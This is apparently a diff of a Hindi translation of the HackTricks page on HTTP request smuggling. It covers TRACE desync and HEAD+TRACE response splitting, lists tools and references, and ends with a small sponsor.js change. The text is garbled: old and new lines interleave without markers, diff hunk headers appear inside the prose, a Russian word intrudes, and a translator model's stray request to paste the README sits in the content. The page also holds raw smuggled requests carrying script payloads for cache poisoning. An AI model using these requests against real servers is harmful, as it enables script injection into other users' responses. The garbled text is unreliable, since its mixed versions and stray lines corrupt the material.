[**In this post**](https://portswigger.net/research/trace-desync-attack) में सुझाव दिया गया है कि यदि server पर method TRACE enabled है तो इसे HTTP Request Smuggling के साथ abuse किया जा सकता है। यह इसलिए है क्योंकि यह method किसी भी header को जो server को भेजा गया है, response के body के हिस्से के रूप में reflect कर देता है। उदाहरण के लिए:
```
TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>
```
Please paste the contents of src/pentesting-web/http-request-smuggling/README.md (exact markdown). I will translate the English text to Hindi while preserving code, links, tags and paths.
कृपया src/pentesting-web/http-request-smuggling/README.md की सामग्री यहाँ पेस्ट करें — मैं इसे दिए गए निर्देशों के अनुसार हिंदी में अनुवाद कर दूंगा।
```
HTTP/1.1 200 OK
Content-Type: message/http
@ -689,17 +694,17 @@ Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx
```
इस व्यवहार का दुरुपयोग करने का एक उदाहरण होगा कि **smuggle first a HEAD request**. This request का response केवल GET request के **headers** होंगे (जिनमें **`Content-Type`** शामिल है). और **immediately after the HEAD a TRACE request** को smuggle करें, जो भेजे गए डेटा को reflect करेगा.\
चूँकि HEAD response में एक `Content-Length` header होगा, поэтому **response of the TRACE request will be treated as the body of the HEAD response, therefore reflecting arbitrary data** response में arbitrary डेटा को प्रतिबिंबित करेगा.\
यह response connection पर अगले request को भेज दिया जाएगा, इसलिए इसे **used in a cached JS file for example to inject arbitrary JS code** के लिए उपयोग किया जा सकता है।
इस व्यवहार का दुरुपयोग करने का एक उदाहरण होगा कि **smuggle first a HEAD request**। यह request केवल GET request के **headers** के साथ respond होगा (जिनमें **`Content-Type`** शामिल है)। और तुरंत HEAD के बाद **immediately after the HEAD a TRACE request** smuggle करें, जो **reflecting the sent dat**a होगा।\
चूँकि HEAD response में `Content-Length` header होगा, इसलिए **response of the TRACE request will be treated as the body of the HEAD response, therefore reflecting arbitrary data** response में प्रतिबिंबित होगा।\
यह response connection पर अगले request को भेज दिया जाएगा, इसलिए इसका उपयोग किसी cached JS file में arbitrary JS code इंजेक्ट करने के लिए किया जा सकता है।
### TRACE का दुरुपयोग के माध्यम से HTTP Response Splitting <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
### TRACE का दुरुपयोग HTTP Response Splitting के माध्यम से <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
[**this post**](https://portswigger.net/research/trace-desync-attack) पढ़ने की सलाह दी जाती है — इसमें TRACE method का दुरुपयोग करने का एक और तरीका बताया गया है। जैसा कि बताया गया है, एक HEAD request और एक TRACE request smuggle करके, HEAD request के response में कुछ reflected डेटा को नियंत्रित करना संभव है। HEAD request के body की लंबाई मूलतः `Content-Length` header में दर्शाई जाती है और यह TRACE request के response से बनती है।
[**this post**](https://portswigger.net/research/trace-desync-attack) को पढ़ना सुझाया गया है; यह TRACE method के दुरुपयोग का एक और तरीका बताता है। जैसा कि बताया गया है, smuggling a HEAD request and a TRACE request के साथ HEAD response में **control some reflected data** करना संभव है। HEAD request के body की लंबाई मूलतः `Content-Length` header में बताई जाती है और यह TRACE request के response से बनी होती है।
इसलिए, नई सोच यह है कि, इस `Content-Length` और TRACE response में दिए गए data को जानकर, संभव है कि TRACE response में `Content-Length` के अंतिम बाइट के बाद एक valid HTTP response शामिल कर दिया जाए, जिससे हमलावर अगले response के लिए भेजे जाने वाले request को पूरी तरह नियंत्रित कर सके (जिसे cache poisoning को अंजाम देने के लिए use किया जा सकता है)।
इसलिए, नई सोच यह होगी कि, इस `Content-Length` और TRACE response में दिए गए डेटा को जानकर, यह संभव है कि TRACE response में `Content-Length` के अंतिम बाइट के बाद एक वैध HTTP response रखा जाए, जिससे attacker अगले response के request को पूरी तरह नियंत्रित कर सके (जिसका उपयोग cache poisoning करने के लिए किया जा सकता है)।
उदाहरण:
Example:
```
GET / HTTP/1.1
Host: example.com
@ -718,7 +723,7 @@ Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>
```
ये responses उत्पन्न होंगे (ध्यान दें कि HEAD response में Content-Length होने के कारण TRACE response HEAD बॉडी का हिस्सा बन जाता है और जैसे ही HEAD का Content-Length समाप्त होता है, एक वैध HTTP response smuggled हो जाता है):
ये responses उत्पन्न करेगा (ध्यान दें कि HEAD response में एक Content-Length है, जो TRACE response को HEAD body का हिस्सा बना देता है, और जैसे ही HEAD Content-Length समाप्त होता है एक मान्य HTTP response smuggled हो जाता है):
```
HTTP/1.1 200 OK
Content-Type: text/html
@ -739,7 +744,7 @@ Content-Length: 50
<script>alert(“arbitrary response”)</script>
```
### HTTP Request Smuggling को HTTP Response Desynchronisation के साथ हथियार बनाना
### Weaponizing HTTP Request Smuggling with HTTP Response Desynchronisation
क्या आपने कोई HTTP Request Smuggling vulnerability पाया है और आप नहीं जानते कि इसे कैसे exploit किया जाए? इन अन्य exploitation तरीकों को आज़माएँ:
@ -748,7 +753,7 @@ Content-Length: 50
../http-response-smuggling-desync.md
{{#endref}}
### अन्य HTTP Request Smuggling तकनीकें
### अन्य HTTP Request Smuggling Techniques
- Browser HTTP Request Smuggling (Client Side)
@ -851,18 +856,18 @@ time.sleep(0.05)
def handleResponse(req, interesting):
table.add(req)
```
## उपकरण
## Tools
- HTTP Hacker (Burp BApp Store) – concatenation/framing और low‑level HTTP व्यवहार को visualize करने के लिए
- HTTP Hacker (Burp BApp Store) – concatenation/framing और low‑level HTTP व्यवहार को विज़ुअलाइज़ करने के लिए
- https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda Burp Repeater Custom Action "Smuggling or pipelining?"
- [https://github.com/anshumanpattnaik/http-request-smuggling](https://github.com/anshumanpattnaik/http-request-smuggling)
- [https://github.com/PortSwigger/http-request-smuggler](https://github.com/PortSwigger/http-request-smuggler)
- [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py)
- [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler)
- [https://github.com/Moopinger/smugglefuzz](https://github.com/Moopinger/smugglefuzz)
- [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): यह टूल एक grammar-based HTTP Fuzzer है जो विचित्र request smuggling विसंगतियाँ खोजने में उपयोगी है।
- [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): यह टूल एक grammar-based HTTP Fuzzer है, जो अजीब request smuggling असंगतियों को खोजने में उपयोगी है।
## संदर्भ
## References
- [https://portswigger.net/web-security/request-smuggling](https://portswigger.net/web-security/request-smuggling)
- [https://portswigger.net/web-security/request-smuggling/finding](https://portswigger.net/web-security/request-smuggling/finding)
@ -873,10 +878,11 @@ table.add(req)
- [https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/](https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/)
- [https://portswigger.net/research/trace-desync-attack](https://portswigger.net/research/trace-desync-attack)
- [https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
- False false‑positive से सावधान रहें: HTTP pipelining और request smuggling को अलग कैसे करें – [https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling](https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling)
- झूठे false‑positive से सावधान: HTTP pipelining और request smuggling में कैसे अंतर करें – [https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling](https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling)
- [https://http1mustdie.com/](https://http1mustdie.com/)
- Browser‑Powered Desync Attacks – [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)
- PortSwigger Academy – client‑side desync – [https://portswigger.net/web-security/request-smuggling/browser/client-side-desync](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync)
- [https://portswigger.net/research/http1-must-die](https://portswigger.net/research/http1-must-die)
{{#include ../../banners/hacktricks-training.md}}

3
theme/sponsor.js
View File

@ -15,7 +15,8 @@
var mobilesponsorCTA = mobilesponsorSide.querySelector(".mobilesponsor-cta")
async function getSponsor() {
const url = "https://book.hacktricks.wiki/sponsor"
const currentUrl = encodeURIComponent(window.location.href);
const url = `https://book.hacktricks.wiki/sponsor?current_url=${currentUrl}`;
try {
const response = await fetch(url, { method: "GET" })
if (!response.ok) {